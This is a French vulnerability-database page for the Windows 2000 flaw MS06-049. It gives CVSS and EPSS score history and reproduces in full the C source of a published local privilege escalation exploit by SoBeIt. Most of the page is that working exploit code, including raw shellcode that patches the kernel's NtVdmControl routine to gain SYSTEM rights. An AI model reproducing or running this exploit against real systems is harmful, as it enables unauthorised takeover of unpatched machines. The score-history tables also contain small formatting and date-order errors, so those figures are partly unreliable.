Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date EPSS V0 EPSS V1 EPSS V2 (> 2022-02-04) EPSS V3 (> 2025-03-07) EPSS V4 (> 2025-03-17) 2022-02-06 – – 19.1% – – 2022-04-03 – – 19.1% – – 2023-03-12 – – – 0.39% – 2023-05-21 – – – 0.39% – 2023-11-05 – – – 0.39% – 2023-11-12 – – – 0.43% – 2023-11-19 – – – 0.43% – 2023-12-03 – – – 0.43% – 2023-12-10 – – – 0.43% – 2024-02-11 – – – 0.43% – 2024-04-14 – – – 0.61% – 2024-06-02 – – – 0.61% – 2024-06-30 – – – 1.17% – 2024-11-17 – – – 1.17% – 2024-12-08 – – – 1.1% – 2024-12-22 – – – 1.1% – 2025-02-16 – – – 1.1% – 2025-01-19 – – – 1.1% – 2025-02-16 – – – 1.1% – 2025-03-18 – – – – 11.22% 2025-03-30 – – – – 10.37% 2025-04-15 – – – – 10.37% 2025-04-15 – – – – 10.37,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date Percentile 2022-02-06 94% 2022-04-03 96% 2023-03-12 69% 2023-05-21 7% 2023-11-05 71% 2023-11-12 71% 2023-11-19 72% 2023-12-03 71% 2023-12-10 72% 2024-02-11 74% 2024-04-14 78% 2024-06-02 79% 2024-06-30 85% 2024-11-17 86% 2024-12-08 85% 2024-12-22 84% 2025-02-16 85% 2025-01-19 84% 2025-02-16 85% 2025-03-18 93% 2025-03-30 92% 2025-04-15 93% 2025-04-15 93%
Informations sur l'Exploit
Exploit Database EDB-ID : 2412
Date de publication : 2006-09-20 22h00 +00:00
Auteur : SoBeIt
EDB Vérifié : Yes
/*
MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit
Created by SoBeIt
Main file of exploit
Tested on:
Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English
Usage:ms06-049.exe
*/
#include <windows.h>
#include <stdio.h>
#define NTSTATUS int
#define ProcessBasicInformation 0
#define SystemModuleInformation 11
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWVDMCONTROL ZwVdmControl;
ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknow;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
unsigned char kfunctions[64][64] =
{
//ntoskrnl.exe
{"ZwTerminateProcess"},
{""},
};
unsigned char shellcode[] =
"\x90\x60\x9c\xe9\xd1\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f"
"\x90\xcc\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7"
"\x04\xbe\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90"
"\x00\x75\xf7\x95\x8b\xf7\x6a\x01\x59\xe8\x56\x00\x00\x00\xe2\xf9"
"\xbb\x24\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8"
"\x2c\x00\x00\x00\x8b\xd0\x8b\x4e\x04\xe8\x22\x00\x00\x00\x8b\x8a"
"\x2c\x01\x00\x00\x89\x88\x2c\x01\x00\x00\x56\x8b\x7e\x0c\x8b\x4e"
"\x10\x8b\x76\x08\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3"
"\x8b\x80\xa0\x00\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00"
"\x00\x75\xed\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56"
"\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe"
"\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75"
"\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd"
"\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x2a\xff\xff\xff\x90\x90"
"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";
void ErrorQuit(char *msg)
{
printf("%s:%x\n", msg, GetLastError());
ExitProcess(0);
}
ULONG ComputeHash(char *ch)
{
ULONG ret = 0;
while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}
return ret;
}
ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{
ULONG i;
if(RVA < pSectionHeader[0].PointerToRawData)
return RVA;
for(i = 0; i < Sections; i++)
{
if(RVA >= pSectionHeader[i].VirtualAddress &&
RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData)
return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
}
return 0;
}
ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{
ULONG i;
if(Offset < pSectionHeader[0].PointerToRawData)
return Offset;
for(i = 0; i < Sections; i++)
{
if(Offset >= pSectionHeader[i].PointerToRawData &&
Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
}
return 0;
}
void GetFunction()
{
HANDLE hNtdll;
hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed.\n");
ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed.\n");
ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
if(ZwQueryInformationProcess == NULL)
ErrorQuit("GetProcAddress failed.\n");
ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if(ZwQuerySystemInformation == NULL)
ErrorQuit("GetProcessAddress failed.\n");
FreeLibrary(hNtdll);
}
ULONG GetKernelBase()
{
ULONG i, Byte, ModuleCount;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
if((pBuffer = malloc(Byte)) == NULL)
ErrorQuit("malloc failed.\n");
if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
ErrorQuit("ZwQuerySystemInformation failed\n");
ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for(i = 0; i < ModuleCount; i++)
{
if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
{
free(pBuffer);
return (ULONG)pSystemModuleInformation->Base;
}
pSystemModuleInformation++;
}
free(pBuffer);
return 0;
}
int main(int argc, char *argv[])
{
PULONG pStoreBuffer, pNamesArray, pFunctionsArray, pShellcode, pRestoreBuffer;
PUCHAR pBase;
PCHAR pName;
PUSHORT pOrdinals;
PIMAGE_NT_HEADERS pHeader;
PIMAGE_EXPORT_DIRECTORY pExport;
PIMAGE_SECTION_HEADER pSectionHeader;
PROCESS_BASIC_INFORMATION pbi;
SYSTEM_MODULE_INFORMATION smi;
char DriverName[256];
ULONG Byte, FileSize, len, i, j, k, Count, BaseAddress, Value, KernelBase, buf[64], HookAddress, Temp, Sections;
USHORT index;
HANDLE hDevice, hFile, hFileMap;
printf("\n MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit \n\n");
printf("\t Create by SoBeIt. \n\n");
if(argc != 1)
{
printf(" Usage:%s \n\n", argv[0]);
return 1;
}
GetFunction();
if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed\n");
KernelBase = GetKernelBase();
if(!KernelBase)
ErrorQuit("Unable to get kernel base address.\n");
printf("Kernel base address: %x\n", KernelBase);
pRestoreBuffer = malloc(0x100);
if(pRestoreBuffer == NULL)
ErrorQuit("malloc failed.\n");
pStoreBuffer = VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pStoreBuffer == NULL)
ErrorQuit("VirtualAlloc failed.\n");
printf("Allocated address:%x\n", pStoreBuffer);
if(!GetSystemDirectory((PUCHAR)pStoreBuffer, 256))
ErrorQuit("GetSystemDirectory failed.\n");
strcat((PUCHAR)pStoreBuffer, "\\ntoskrnl.exe");
hFile = CreateFile((PUCHAR)pStoreBuffer, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
hFile = CreateFile("ntoskrnl.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
ErrorQuit("CreateFile failed.\n");
}
if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
ErrorQuit("GetFileSize failed.\n");
printf("File size:%x\n", FileSize);
pBase = (PUCHAR)VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pBase == NULL)
ErrorQuit("VirtualAlloc failed.\n");
if(!ReadFile(hFile, pBase, FileSize, &Byte, NULL))
ErrorQuit("ReadFile failed.\n");
pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)(&pHeader->OptionalHeader) + pHeader->FileHeader.SizeOfOptionalHeader);
Sections= pHeader->FileHeader.NumberOfSections;
pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase +
RVA2Offset(pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
pSectionHeader,
Sections
));
pNamesArray = (PULONG)(pBase +
RVA2Offset(pExport->AddressOfNames,
pSectionHeader,
Sections));
pFunctionsArray = (PULONG)(pBase +
RVA2Offset(pExport->AddressOfFunctions,
pSectionHeader,
Sections));
pOrdinals = (PUSHORT)(pBase +
RVA2Offset(pExport->AddressOfNameOrdinals,
pSectionHeader,
Sections));
len = strlen("NtVdmControl");
for(i = 0; i < pExport->NumberOfNames; i++)
{
pName = pBase + RVA2Offset(pNamesArray[i], pSectionHeader, Sections);
if(!strncmp(pName, "NtVdmControl", len))
break;
}
if(i > pExport->NumberOfFunctions)
ErrorQuit("Some error occured.\n");
index = pOrdinals[i];
HookAddress = pFunctionsArray[index] + KernelBase;
memcpy((PUCHAR)pRestoreBuffer, pBase + pFunctionsArray[index] - 1, 0x10);
printf("%s Address:%x\n", "NtVdmControl", HookAddress);
pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;
for(j = 0; kfunctions[j][0] != '\x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);
buf[j++] = pbi.InheritedFromUniqueProcessId;
buf[j++] = (ULONG)pRestoreBuffer;
buf[j++] = HookAddress - 1;
buf[j++] = 0x10;
memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
Temp = 0;
for(i = 0; i < 7; i++)
{
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
Temp += Byte;
}
Byte = Temp / 7;
printf("Single value:%x\n", Byte);
Value = (0xe9 << 8) & 0xff00;
printf("Jump value:%x\n", Value);
printf("Base value:%x\n", pRestoreBuffer[0]);
for(Count = 0; ; Count++)
{
if(((pRestoreBuffer[0] + Count * Byte) & 0xff00) == Value)
break;
}
printf("Need value generated:%x\n", pRestoreBuffer[0] + Count * Byte);
printf("Count value:%x\n", Count);
for(i = 0; i < Count; i ++)
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress - 1), 0, &Byte);
Temp = 0;
for(i = 0; i < 7; i++)
{
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
Temp += Byte;
}
Byte = Temp / 7;
printf("Single value:%x\n", Byte);
Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
printf("Jump value:%x\n", Value);
printf("Base value:%x\n", pRestoreBuffer[1]);
for(Count = 0; ; Count++)
{
if(((pRestoreBuffer[1] + Count * Byte) & 0xfff0) == Value)
break;
}
printf("Need value generated:%x\n", pRestoreBuffer[1] + Count * Byte);
printf("Count value:%x\n", Count);
for(i = 0; i < Count; i ++)
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress + 3), 0, &Byte);
memset(pStoreBuffer, 0x90, 0x1001000);
memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));
CloseHandle(hFile);
printf("Exploitation finished.\n");
ZwVdmControl(0, NULL);
return 1;
}
// milw0rm.com [2006-09-21]
Products Mentioned
Configuraton 0 Microsoft>>Windows_2000 >> Version *
Microsoft>>Windows_2000 >> Version *
Références